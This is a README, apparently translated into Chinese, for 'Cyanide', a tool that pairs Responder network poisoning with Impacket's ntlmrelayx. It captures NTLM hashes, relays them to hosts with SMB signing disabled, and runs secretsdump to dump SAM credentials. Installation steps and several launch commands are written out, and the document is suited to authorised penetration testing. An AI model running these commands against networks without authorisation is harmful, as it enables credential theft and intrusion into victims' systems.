顾名思义,它是毒药。Cyanide 本质上是一个追踪器,用于关联各种投毒技术(目前仅使用 Responder),并通过 Impacket 的 ntlmrelayx.py 转发捕获的哈希。启动时,默认会启动不带 SMB、HTTP 或 DNS 服务器的 Responder,以及带 SMB 和 HTTP 服务器的 Ntlmrelayx。输出将告知你:
ntlmrelayx 目标文件是 必需的。如果你只想捕获哈希,只需填写 smb://127.0.0.1,否则照常提供目标列表(例如 smb://10.0.0.8\n mssql://10.0.0.9)
它有几种使用方式。
推荐的方法。该方法将利用通过 SMB/HTTP 捕获的哈希,并将其转发到目标文件中指定的目标。转发成功后,将运行 secretsdump,并且(希望)能够转储 SAM。
要成功登录,目标端点需要禁用 SMB 签名。
此方法将继续通过 Responder 对主机进行投毒,但不会进行转发。为了继续捕获 SMB / HTTP,你需要在必需的 ntlmrelayx 目标文件中指定主机 smb://127.0.0.1。
python3 -m venv venv
. venv/bin/activate
git clone https://github.com/horizon3ai/cyanide.git
cd cyanide
pip install -r requirements.txt
sudo -i (must be ran under root account)
python cyanide.py -iface <eth0> --watch --stdout-only --responder -ntf ntlmrelayx_targets.txt
注意:--watch/-w 允许你在程序运行时编辑目标文件并添加/删除目标。Impacket 将自动检测更改并更新。
python cyanide.py -iface <eth0> --stdout-only --responder -ntf ntlmrelayx_targets.txt --no-relay
Cyanide 使用 sqlite 数据库来存储被投毒主机的信息(poisoner_cache.db)、发生的转发事件(poisoner_relay.db),以及(如果你未指定 --stdout-only)包含投毒来源、转发事件、secretsdump 数据的最终消息,这些消息将放入生产数据库(poisoner_prod.db)。poisoner_prod.db 将每 30 秒转储到指定的输出文件。注意:这意味着结果将每 30 秒被覆盖一次。
python cyanide.py -iface <eth0> --watch --responder -ntf ntlmrelayx_targets.txt
python cyanide.py -iface <eth0> --responder -ntf ntlmrelayx_targets.txt --no-relay
除 horizon3_impacket 下的任何文件外,所有代码均采用 GPLv3 许可证。horizon3_impacket 下的所有代码均保留 Impacket 原始的 Apache 许可证。有关更多信息,请参阅 licenses 目录。